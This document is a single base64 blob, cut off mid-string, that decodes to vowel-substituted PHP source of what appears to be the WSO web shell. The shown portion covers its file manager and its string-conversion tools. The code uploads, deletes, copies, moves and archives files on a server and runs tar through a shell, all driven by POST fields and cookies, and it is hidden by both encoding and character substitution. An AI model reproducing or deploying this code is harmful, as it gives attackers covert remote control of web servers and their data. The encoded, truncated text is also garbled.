IEAzbnM1cjQxbDR6NSgkX0NPT0tJRVsnZiddKTsNCg0KCTRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7DQoJCXN3NHRjaCgkX1BPU1RbJ3A2J10pIHsNCgkJCWMxczUgJzNwbDIxZEY0bDUnOg0KCQkJCTRmKCFAbTJ2NV8zcGwyMWQ1ZF9mNGw1KCRfRklMRVNbJ2YnXVsndG1wX24xbTUnXSwgJF9GSUxFU1snZiddWyduMW01J10pKQ0KCQkJCQk1Y2gyICJDMW4ndCAzcGwyMWQgZjRsNSEiOw0KCQkJCWJyNTFrOw0KCQkJYzFzNSAnbWtkNHInOg0KCQkJCTRmKCFAbWtkNHIoJF9QT1NUWydwYSddKSkNCgkJCQkJNWNoMiAiQzFuJ3QgY3I1MXQ1IG41dyBkNHIiOw0KCQkJCWJyNTFrOw0KCQkJYzFzNSAnZDVsNXQ1JzoNCgkJCQlmM25jdDQybiBkNWw1dDVENHIoJHAxdGgpIHsNCgkJCQkJJHAxdGggPSAoczNic3RyKCRwMXRoLC02KT09Jy8nKSA/ICRwMXRoOiRwMXRoLicvJzsNCgkJCQkJJGRoICA9IDJwNW5kNHIoJHAxdGgpOw0KCQkJCQl3aDRsNSAoICgkNHQ1bSA9IHI1MWRkNHIoJGRoKSApICE9PSBmMWxzNSkgew0KCQkJCQkJJDR0NW0gPSAkcDF0aC4kNHQ1bTsNCgkJCQkJCTRmICggKGIxczVuMW01KCQ0dDVtKSA9PSAiLi4iKSB8fCAoYjFzNW4xbTUoJDR0NW0pID09ICIuIikgKQ0KCQkJCQkJCWMybnQ0bjM1Ow0KCQkJCQkJJHR5cDUgPSBmNGw1dHlwNSgkNHQ1bSk7DQoJCQkJCQk0ZiAoJHR5cDUgPT0gImQ0ciIpDQoJCQkJCQkJZDVsNXQ1RDRyKCQ0dDVtKTsNCgkJCQkJCTVsczUNCgkJCQkJCQlAM25sNG5rKCQ0dDVtKTsNCgkJCQkJfQ0KCQkJCQljbDJzNWQ0cigkZGgpOw0KCQkJCQlAcm1kNHIoJHAxdGgpOw0KCQkJCX0NCgkJCQk0Zig0c18xcnIxeShAJF9QT1NUWydmJ10pKQ0KCQkJCQlmMnI1MWNoKCRfUE9TVFsnZiddIDFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkZiA9PSAnLi4nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMybnQ0bjM1Ow0KCQkJCQkJJGYgPSAzcmxkNWMyZDUoJGYpOw0KCQkJCQkJNGYoNHNfZDRyKCRmKSkNCgkJCQkJCQlkNWw1dDVENHIoJGYpOw0KCQkJCQkJNWxzNQ0KCQkJCQkJCUAzbmw0bmsoJGYpOw0KCQkJCQl9DQoJCQkJYnI1MWs7DQoJCQljMXM1ICdwMXN0NSc6DQoJCQkJNGYoJF9DT09LSUVbJzFjdCddID09ICdjMnB5Jykgew0KCQkJCQlmM25jdDQybiBjMnB5X3Axc3Q1KCRjLCRzLCRkKXsNCgkJCQkJCTRmKDRzX2Q0cigkYy4kcykpew0KCQkJCQkJCW1rZDRyKCRkLiRzKTsNCgkJCQkJCQkkaCA9IEAycDVuZDRyKCRjLiRzKTsNCgkJCQkJCQl3aDRsNSAoKCRmID0gQHI1MWRkNHIoJGgpKSAhPT0gZjFsczUpDQoJCQkJCQkJCTRmICgoJGYgIT0gIi4iKSAxbmQgKCRmICE9ICIuLiIpKQ0KCQkJCQkJCQkJYzJweV9wMXN0NSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7DQoJCQkJCQl9IDVsczU0Zig0c19mNGw1KCRjLiRzKSkNCgkJCQkJCQlAYzJweSgkYy4kcywgJGQuJHMpOw0KCQkJCQl9DQoJCQkJCWYycjUxY2goJF9DT09LSUVbJ2YnXSAxcyAkZikNCgkJCQkJCWMycHlfcDFzdDUoJF9DT09LSUVbJ2MnXSwkZiwgJEdMT0JBTFNbJ2N3ZCddKTsNCgkJCQl9IDVsczU0ZigkX0NPT0tJRVsnMWN0J10gPT0gJ20ydjUnKSB7DQoJCQkJCWYzbmN0NDJuIG0ydjVfcDFzdDUoJGMsJHMsJGQpew0KCQkJCQkJNGYoNHNfZDRyKCRjLiRzKSl7DQoJCQkJCQkJbWtkNHIoJGQuJHMpOw0KCQkJCQkJCSRoID0gQDJwNW5kNHIoJGMuJHMpOw0KCQkJCQkJCXdoNGw1ICgoJGYgPSBAcjUxZGQ0cigkaCkpICE9PSBmMWxzNSkNCgkJCQkJCQkJNGYgKCgkZiAhPSAiLiIpIDFuZCAoJGYgIT0gIi4uIikpDQoJCQkJCQkJCQljMnB5X3Axc3Q1KCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsNCgkJCQkJCX0gNWxzNTRmKEA0c19mNGw1KCRjLiRzKSkNCgkJCQkJCQlAYzJweSgkYy4kcywgJGQuJHMpOw0KCQkJCQl9DQoJCQkJCWYycjUxY2goJF9DT09LSUVbJ2YnXSAxcyAkZikNCgkJCQkJCUByNW4xbTUoJF9DT09LSUVbJ2MnXS4kZiwgJEdMT0JBTFNbJ2N3ZCddLiRmKTsNCgkJCQl9IDVsczU0ZigkX0NPT0tJRVsnMWN0J10gPT0gJ3o0cCcpIHsNCgkJCQkJNGYoY2wxc3NfNXg0c3RzKCdaNHBBcmNoNHY1JykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR6NHAgPSBuNXcgWjRwQXJjaDR2NSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYgKCR6NHAtPjJwNW4oJF9QT1NUWydwYSddLCA2KSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZDRyKCRfQ09PS0lFWydjJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9DT09LSUVbJ2YnXSAxcyAkZikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkZiA9PSAnLi4nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYzJudDRuMzU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKEA0c19mNGw1KCRfQ09PS0lFWydjJ10uJGYpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+MWRkRjRsNSgkX0NPT0tJRVsnYyddLiRmLCAkZik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVsczU0ZihANHNfZDRyKCRfQ09PS0lFWydjJ10uJGYpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNHQ1cjF0MnIgPSBuNXcgUjVjM3JzNHY1SXQ1cjF0MnJJdDVyMXQycihuNXcgUjVjM3JzNHY1RDRyNWN0MnJ5SXQ1cjF0MnIoJGYuJy8nLCBGNGw1c3lzdDVtSXQ1cjF0MnI6OlNLSVBfRE9UUykpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCAoJDR0NXIxdDJyIDFzICRrNXk9PiR2MWwzNSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6NHAtPjFkZEY0bDUocjUxbHAxdGgoJGs1eSksICRrNXkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZDRyKCRHTE9CQUxTWydjd2QnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+Y2wyczUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KCQkJCX0gNWxzNTRmKCRfQ09PS0lFWycxY3QnXSA9PSAnM256NHAnKSB7DQoJCQkJCTRmKGNsMXNzXzV4NHN0cygnWjRwQXJjaDR2NScpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkejRwID0gbjV3IFo0cEFyY2g0djUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9DT09LSUVbJ2YnXSAxcyAkZikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCR6NHAtPjJwNW4oJF9DT09LSUVbJ2MnXS4kZikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+NXh0cjFjdFQyKCRHTE9CQUxTWydjd2QnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6NHAtPmNsMnM1KCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQoJCQkJfSA1bHM1NGYoJF9DT09LSUVbJzFjdCddID09ICd0MXInKSB7DQogICAgICAgICAgICAgICAgICAgIGNoZDRyKCRfQ09PS0lFWydjJ10pOw0KICAgICAgICAgICAgICAgICAgICAkX0NPT0tJRVsnZiddID0gMXJyMXlfbTFwKCc1c2MxcDVzaDVsbDFyZycsICRfQ09PS0lFWydmJ10pOw0KICAgICAgICAgICAgICAgICAgICB3czJFeCgndDFyIGNmenYgJyAuIDVzYzFwNXNoNWxsMXJnKCRfUE9TVFsncGEnXSkgLiAnICcgLiA0bXBsMmQ1KCcgJywgJF9DT09LSUVbJ2YnXSkpOw0KICAgICAgICAgICAgICAgICAgICBjaGQ0cigkR0xPQkFMU1snY3dkJ10pOw0KCQkJCX0NCgkJCQkzbnM1dCgkX0NPT0tJRVsnZiddKTsNCiAgICAgICAgICAgICAgICBzNXRjMjJrNDUoJ2YnLCAnJywgdDRtNSgpIC0gb2UwMCk7DQoJCQkJYnI1MWs7DQoJCQlkNWYxM2x0Og0KICAgICAgICAgICAgICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7DQoJCQkJCVdTT3M1dGMyMms0NSgnMWN0JywgJF9QT1NUWydwNiddKTsNCgkJCQkJV1NPczV0YzIyazQ1KCdmJywgczVyNDFsNHo1KEAkX1BPU1RbJ2YnXSkpOw0KCQkJCQlXU09zNXRjMjJrNDUoJ2MnLCBAJF9QT1NUWydjJ10pOw0KCQkJCX0NCgkJCQlicjUxazsNCgkJfQ0KCX0NCiAgICB3czJINTFkNXIoKTsNCgk1Y2gyICc8aDY+RjRsNSBtMW4xZzVyPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PHNjcjRwdD5wNl89cGFfPXBvXz0iIjs8L3NjcjRwdD4nOw0KCSRkNHJDMm50NW50ID0gd3MyU2MxbmQ0cig0c3M1dCgkX1BPU1RbJ2MnXSk/JF9QT1NUWydjJ106JEdMT0JBTFNbJ2N3ZCddKTsNCgk0ZigkZDRyQzJudDVudCA9PT0gZjFsczUpIHsJNWNoMiAnQzFuXCd0IDJwNW4gdGg0cyBmMmxkNXIhJzt3czJGMjJ0NXIoKTsgcjV0M3JuOyB9DQoJZ2wyYjFsICRzMnJ0Ow0KCSRzMnJ0ID0gMXJyMXkoJ24xbTUnLCA2KTsNCgk0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQk0ZihwcjVnX20xdGNoKCchc18oW0Etel0rKV8oXGR7Nn0pIScsICRfUE9TVFsncDYnXSwgJG0xdGNoKSkNCgkJCSRzMnJ0ID0gMXJyMXkoJG0xdGNoWzZdLCAoNG50KSRtMXRjaFthXSk7DQoJfQ0KNWNoMiAiPHNjcjRwdD4NCglmM25jdDQybiBzMSgpIHsNCgkJZjJyKDQ9MDs0PGQuZjRsNXMuNWw1bTVudHMubDVuZ3RoOzQrKykNCgkJCTRmKGQuZjRsNXMuNWw1bTVudHNbNF0udHlwNSA9PSAnY2g1Y2tiMngnKQ0KCQkJCWQuZjRsNXMuNWw1bTVudHNbNF0uY2g1Y2s1ZCA9IGQuZjRsNXMuNWw1bTVudHNbMF0uY2g1Y2s1ZDsNCgl9DQo8L3NjcjRwdD4NCjx0MWJsNSB3NGR0aD0nNjAwJScgY2wxc3M9J20xNG4nIGM1bGxzcDFjNG5nPScwJyBjNWxscDFkZDRuZz0nYSc+DQo8ZjJybSBuMW01PWY0bDVzIG01dGgyZD1wMnN0Pjx0cj48dGggdzRkdGg9JzZvcHgnPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IDJuY2w0Y2s9J3MxKCknIGNsMXNzPWNoa2J4PjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX24xbTVfIi4oJHMycnRbNl0/MDo2KS4iXCIpJz5OMW01PC8xPjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX3M0ejVfIi4oJHMycnRbNl0/MDo2KS4iXCIpJz5TNHo1PC8xPjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX20yZDRmeV8iLigkczJydFs2XT8wOjYpLiJcIiknPk0yZDRmeTwvMT48L3RoPjx0aD5Pd241ci9HcjIzcDwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX3A1cm1zXyIuKCRzMnJ0WzZdPzA6NikuIlwiKSc+UDVybTRzczQybnM8LzE+PC90aD48dGg+QWN0NDJuczwvdGg+PC90cj4iOw0KCSRkNHJzID0gJGY0bDVzID0gMXJyMXkoKTsNCgkkbiA9IGMyM250KCRkNHJDMm50NW50KTsNCglmMnIoJDQ9MDskNDwkbjskNCsrKSB7DQoJCSQydyA9IEBwMnM0eF9nNXRwdzM0ZChAZjRsNTJ3bjVyKCRkNHJDMm50NW50WyQ0XSkpOw0KCQkkZ3IgPSBAcDJzNHhfZzV0Z3JnNGQoQGY0bDVncjIzcCgkZDRyQzJudDVudFskNF0pKTsNCgkJJHRtcCA9IDFycjF5KCduMW01JyA9PiAkZDRyQzJudDVudFskNF0sDQoJCQkJCSAncDF0aCcgPT4gJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSwNCgkJCQkJICdtMmQ0ZnknID0+IGQxdDUoJ1ktbS1kIEg6NDpzJywgQGY0bDVtdDRtNSgkR0xPQkFMU1snY3dkJ10gLiAkZDRyQzJudDVudFskNF0pKSwNCgkJCQkJICdwNXJtcycgPT4gd3MyUDVybXNDMmwycigkR0xPQkFMU1snY3dkJ10gLiAkZDRyQzJudDVudFskNF0pLA0KCQkJCQkgJ3M0ejUnID0+IEBmNGw1czR6NSgkR0xPQkFMU1snY3dkJ10uJGQ0ckMybnQ1bnRbJDRdKSwNCgkJCQkJICcyd241cicgPT4gJDJ3WyduMW01J10/JDJ3WyduMW01J106QGY0bDUyd241cigkZDRyQzJudDVudFskNF0pLA0KCQkJCQkgJ2dyMjNwJyA9PiAkZ3JbJ24xbTUnXT8kZ3JbJ24xbTUnXTpAZjRsNWdyMjNwKCRkNHJDMm50NW50WyQ0XSkNCgkJCQkJKTsNCgkJNGYoQDRzX2Y0bDUoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSkNCgkJCSRmNGw1c1tdID0gMXJyMXlfbTVyZzUoJHRtcCwgMXJyMXkoJ3R5cDUnID0+ICdmNGw1JykpOw0KCQk1bHM1NGYoQDRzX2w0bmsoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSkNCgkJCSRkNHJzW10gPSAxcnIxeV9tNXJnNSgkdG1wLCAxcnIxeSgndHlwNScgPT4gJ2w0bmsnLCAnbDRuaycgPT4gcjUxZGw0bmsoJHRtcFsncDF0aCddKSkpOw0KCQk1bHM1NGYoQDRzX2Q0cigkR0xPQkFMU1snY3dkJ10gLiAkZDRyQzJudDVudFskNF0pKQ0KCQkJJGQ0cnNbXSA9IDFycjF5X201cmc1KCR0bXAsIDFycjF5KCd0eXA1JyA9PiAnZDRyJykpOw0KCX0NCgkkR0xPQkFMU1snczJydCddID0gJHMycnQ7DQoJZjNuY3Q0Mm4gd3MyQ21wKCQxLCAkYikgew0KCQk0ZigkR0xPQkFMU1snczJydCddWzBdICE9ICdzNHo1JykNCgkJCXI1dDNybiBzdHJjbXAoc3RydDJsMnc1cigkMVskR0xPQkFMU1snczJydCddWzBdXSksIHN0cnQybDJ3NXIoJGJbJEdMT0JBTFNbJ3MycnQnXVswXV0pKSooJEdMT0JBTFNbJ3MycnQnXVs2XT82Oi02KTsNCgkJNWxzNQ0KCQkJcjV0M3JuICgoJDFbJ3M0ejUnXSA8ICRiWydzNHo1J10pID8gLTYgOiA2KSooJEdMT0JBTFNbJ3MycnQnXVs2XT82Oi02KTsNCgl9DQoJM3MycnQoJGY0bDVzLCAid3MyQ21wIik7DQoJM3MycnQoJGQ0cnMsICJ3czJDbXAiKTsNCgkkZjRsNXMgPSAxcnIxeV9tNXJnNSgkZDRycywgJGY0bDVzKTsNCgkkbCA9IDA7DQoJZjJyNTFjaCgkZjRsNXMgMXMgJGYpIHsNCgkJNWNoMiAnPHRyJy4oJGw/JyBjbDFzcz1sNic6JycpLic+PHRkPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9ImZbXSIgdjFsMzU9IicuM3JsNW5jMmQ1KCRmWyduMW01J10pLiciIGNsMXNzPWNoa2J4PjwvdGQ+PHRkPjwxIGhyNWY9IyAybmNsNGNrPSInLigoJGZbJ3R5cDUnXT09J2Y0bDUnKT8nZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLCBcJ3Y0NXdcJykiPicuaHRtbHNwNWM0MWxjaDFycygkZlsnbjFtNSddKTonZyhcJ0Y0bDVzTTFuXCcsXCcnLiRmWydwMXRoJ10uJ1wnKTsiICcgLiAoNW1wdHkgKCRmWydsNG5rJ10pID8gJycgOiAidDR0bDU9J3skZlsnbDRuayddfSciKSAuICc+PGI+WyAnIC4gaHRtbHNwNWM0MWxjaDFycygkZlsnbjFtNSddKSAuICcgXTwvYj4nKS4nPC8xPjwvdGQ+PHRkPicuKCgkZlsndHlwNSddPT0nZjRsNScpP3dzMlY0NXdTNHo1KCRmWydzNHo1J10pOiRmWyd0eXA1J10pLic8L3RkPjx0ZD4nLiRmWydtMmQ0ZnknXS4nPC90ZD48dGQ+Jy4kZlsnMnduNXInXS4nLycuJGZbJ2dyMjNwJ10uJzwvdGQ+PHRkPjwxIGhyNWY9IyAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsXCdjaG0yZFwnKSI+Jy4kZlsncDVybXMnXQ0KCQkJLic8L3RkPjx0ZD48MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwncjVuMW01XCcpIj5SPC8xPiA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwndDIzY2hcJykiPlQ8LzE+Jy4oKCRmWyd0eXA1J109PSdmNGw1Jyk/JyA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwnNWQ0dFwnKSI+RTwvMT4gPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLCBcJ2Qyd25sMjFkXCcpIj5EPC8xPic6JycpLic8L3RkPjwvdHI+JzsNCgkJJGwgPSAkbD8wOjY7DQoJfQ0KCTVjaDIgIjx0cj48dGQgYzJsc3Axbj03Pg0KCTw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTEgdjFsMzU9J0Y0bDVzTTFuJz4NCgk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSciIC4gaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pIC4iJz4NCgk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0IHYxbDM1PSciLiAoNHNzNXQoJF9QT1NUWydjaDFyczV0J10pPyRfUE9TVFsnY2gxcnM1dCddOicnKS4iJz4NCgk8czVsNWN0IG4xbTU9J3A2Jz48MnB0NDJuIHYxbDM1PSdjMnB5Jz5DMnB5PC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0nbTJ2NSc+TTJ2NTwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9J2Q1bDV0NSc+RDVsNXQ1PC8ycHQ0Mm4+IjsNCiAgICA0ZihjbDFzc181eDRzdHMoJ1o0cEFyY2g0djUnKSkNCiAgICAgICAgNWNoMiAiPDJwdDQybiB2MWwzNT0nejRwJz5DMm1wcjVzcyAoejRwKTwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9JzNuejRwJz5VbmMybXByNXNzICh6NHApPC8ycHQ0Mm4+IjsNCiAgICA1Y2gyICI8MnB0NDJuIHYxbDM1PSd0MXInPkMybXByNXNzICh0MXIuZ3opPC8ycHQ0Mm4+IjsNCiAgICA0ZighNW1wdHkoJF9DT09LSUVbJzFjdCddKSAmJiBAYzIzbnQoJF9DT09LSUVbJ2YnXSkpDQogICAgICAgIDVjaDIgIjwycHQ0Mm4gdjFsMzU9J3Axc3Q1Jz5QMXN0NSAvIEMybXByNXNzPC8ycHQ0Mm4+IjsNCiAgICA1Y2gyICI8L3M1bDVjdD4mbmJzcDsiOw0KICAgIDRmKCE1bXB0eSgkX0NPT0tJRVsnMWN0J10pICYmIEBjMjNudCgkX0NPT0tJRVsnZiddKSAmJiAoKCRfQ09PS0lFWycxY3QnXSA9PSAnejRwJykgfHwgKCRfQ09PS0lFWycxY3QnXSA9PSAndDFyJykpKQ0KICAgICAgICA1Y2gyICJmNGw1IG4xbTU6IDw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wYSB2MWwzNT0nd3MyXyIgLiBkMXQ1KCJZbWRfSDRzIikgLiAiLiIgLiAoJF9DT09LSUVbJzFjdCddID09ICd6NHAnPyd6NHAnOid0MXIuZ3onKSAuICInPiZuYnNwOyI7DQogICAgNWNoMiAiPDRucDN0IHR5cDU9J3MzYm00dCcgdjFsMzU9Jz4+Jz48L3RkPjwvdHI+PC9mMnJtPjwvdDFibDU+PC9kNHY+IjsNCgl3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuU3RyNG5nVDIybHMoKSB7DQoJNGYoIWYzbmN0NDJuXzV4NHN0cygnaDV4YWI0bicpKSB7ZjNuY3Q0Mm4gaDV4YWI0bigkcCkge3I1dDNybiBkNWNiNG4oaDV4ZDVjKCRwKSk7fX0NCiAgICA0ZighZjNuY3Q0Mm5fNXg0c3RzKCdiNG5oNXgnKSkge2YzbmN0NDJuIGI0bmg1eCgkcCkge3I1dDNybiBkNWNoNXgoYjRuZDVjKCRwKSk7fX0NCgk0ZighZjNuY3Q0Mm5fNXg0c3RzKCdoNXhhMXNjNDQnKSkge2YzbmN0NDJuIGg1eGExc2M0NCgkcCl7JHI9Jyc7ZjJyKCQ0PTA7JDQ8c3RyTDVuKCRwKTskNCs9YSl7JHIuPWNocihoNXhkNWMoJHBbJDRdLiRwWyQ0KzZdKSk7fXI1dDNybiAkcjt9fQ0KCTRmKCFmM25jdDQybl81eDRzdHMoJzFzYzQ0YWg1eCcpKSB7ZjNuY3Q0Mm4gMXNjNDRhaDV4KCRwKXskcj0nJztmMnIoJDQ9MDskNDxzdHJsNW4oJHApOysrJDQpJHIuPSBzcHI0bnRmKCclMGFYJywycmQoJHBbJDRdKSk7cjV0M3JuIHN0cnQyM3BwNXIoJHIpO319DQoJNGYoIWYzbmN0NDJuXzV4NHN0cygnZjNsbF8zcmw1bmMyZDUnKSkge2YzbmN0NDJuIGYzbGxfM3JsNW5jMmQ1KCRwKXskcj0nJztmMnIoJDQ9MDskNDxzdHJsNW4oJHApOysrJDQpJHIuPSAnJScuZDVjaDV4KDJyZCgkcFskNF0pKTtyNXQzcm4gc3RydDIzcHA1cigkcik7fX0NCgkkc3RyNG5nVDIybHMgPSAxcnIxeSgNCgkJJ0IxczVldSA1bmMyZDUnID0+ICdiMXM1ZXVfNW5jMmQ1JywNCgkJJ0IxczVldSBkNWMyZDUnID0+ICdiMXM1ZXVfZDVjMmQ1JywNCgkJJ1VybCA1bmMyZDUnID0+ICczcmw1bmMyZDUnLA0KCQknVXJsIGQ1YzJkNScgPT4gJzNybGQ1YzJkNScsDQoJCSdGM2xsIDNybDVuYzJkNScgPT4gJ2YzbGxfM3JsNW5jMmQ1JywNCgkJJ21kaSBoMXNoJyA9PiAnbWRpJywNCgkJJ3NoMTYgaDFzaCcgPT4gJ3NoMTYnLA0KCQknY3J5cHQnID0+ICdjcnlwdCcsDQoJCSdDUkNvYScgPT4gJ2NyY29hJywNCgkJJ0FTQ0lJIHQyIEhFWCcgPT4gJzFzYzQ0YWg1eCcsDQoJCSdIRVggdDIgQVNDSUknID0+ICdoNXhhMXNjNDQnLA0KCQknSEVYIHQyIERFQycgPT4gJ2g1eGQ1YycsDQoJCSdIRVggdDIgQklOJyA9PiAnaDV4YWI0bicsDQoJCSdERUMgdDIgSEVYJyA9PiAnZDVjaDV4JywNCgkJJ0RFQyB0MiBCSU4nID0+ICdkNWNiNG4nLA0KCQknQklOIHQyIEhFWCcgPT4gJ2I0bmg1eCcsDQoJCSdCSU4gdDIgREVDJyA9PiAnYjRuZDVjJywNCgkJJ1N0cjRuZyB0MiBsMnc1ciBjMXM1JyA9PiAnc3RydDJsMnc1cicsDQoJCSdTdHI0bmcgdDIgM3BwNXIgYzFzNScgPT4gJ3N0cnQyM3BwNXInLA0KCQknSHRtbHNwNWM0MWxjaDFycycgPT4gJ2h0bWxzcDVjNDFsY2gxcnMnLA0KCQknU3RyNG5nIGw1bmd0aCcgPT4gJ3N0cmw1bicsDQoJKTsNCgk0Zig0c3M1dCgkX1BPU1RbJzFqMXgnXSkpIHsNCgkJV1NPczV0YzIyazQ1KG1kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4JywgdHIzNSk7DQoJCTJiX3N0MXJ0KCk7DQoJCTRmKDRuXzFycjF5KCRfUE9TVFsncDYnXSwgJHN0cjRuZ1QyMmxzKSkNCgkJCTVjaDIgJF9QT1NUWydwNiddKCRfUE9TVFsncGEnXSk7DQoJCSR0NW1wID0gImQyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCdzdHJPM3RwM3QnKS5zdHlsNS5kNHNwbDF5PScnO2QyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCdzdHJPM3RwM3QnKS40bm41ckhUTUw9JyIuMWRkY3NsMXNoNXMoaHRtbHNwNWM0MWxjaDFycygyYl9nNXRfY2w1MW4oKSksIlxuXHJcdFxcJ1wwIikuIic7XG4iOw0KCQk1Y2gyIHN0cmw1bigkdDVtcCksICJcbiIsICR0NW1wOw0KCQk1eDR0Ow0KCX0NCiAgICA0Zig1bXB0eSgkX1BPU1RbJzFqMXgnXSkmJiE1bXB0eSgkX1BPU1RbJ3A2J10pKQ0KCQlXU09zNXRjMjJrNDUobWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnLCAwKTsNCgl3czJINTFkNXIoKTsNCgk1Y2gyICc8aDY+U3RyNG5nIGMybnY1cnM0Mm5zPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+JzsNCgk1Y2gyICI8ZjJybSBuMW01PSd0MjJsc0Yycm0nIDJuUzNibTR0PSc0Zih0aDRzLjFqMXguY2g1Y2s1ZCl7MShuM2xsLG4zbGwsdGg0cy5zNWw1Y3RUMjJsLnYxbDM1LHRoNHMuNG5wM3QudjFsMzUpO301bHM1e2cobjNsbCxuM2xsLHRoNHMuczVsNWN0VDIybC52MWwzNSx0aDRzLjRucDN0LnYxbDM1KTt9IHI1dDNybiBmMWxzNTsnPjxzNWw1Y3QgbjFtNT0nczVsNWN0VDIybCc+IjsNCglmMnI1MWNoKCRzdHI0bmdUMjJscyAxcyAkayA9PiAkdikNCgkJNWNoMiAiPDJwdDQybiB2MWwzNT0nIi5odG1sc3A1YzQxbGNoMXJzKCR2KS4iJz4iLiRrLiI8LzJwdDQybj4iOw0KCQk1Y2gyICI8L3M1bDVjdD48NG5wM3QgdHlwNT0nczNibTR0JyB2MWwzNT0nPj4nLz4gPDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT0xajF4IHYxbDM1PTYgIi4oQCRfQ09PS0lFW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10/J2NoNWNrNWQnOicnKS4iPiBzNW5kIDNzNG5nIEFKQVg8YnI+PHQ1eHQxcjUxIG4xbTU9JzRucDN0JyBzdHlsNT0nbTFyZzRuLXQycDppcHgnIGNsMXNzPWI0ZzFyNTE+Ii4oNW1wdHkoJF9QT1NUWydwNiddKT8nJzpodG1sc3A1YzQxbGNoMXJzKEAkX1BPU1RbJ3BhJ10pKS4iPC90NXh0MXI1MT48L2Yycm0+PHByNSBjbDFzcz0nbWw2JyBzdHlsNT0nIi4oNW1wdHkoJF9QT1NUWydwNiddKT8nZDRzcGwxeTpuMm41Oyc6JycpLiJtMXJnNG4tdDJwOmlweCcgNGQ9J3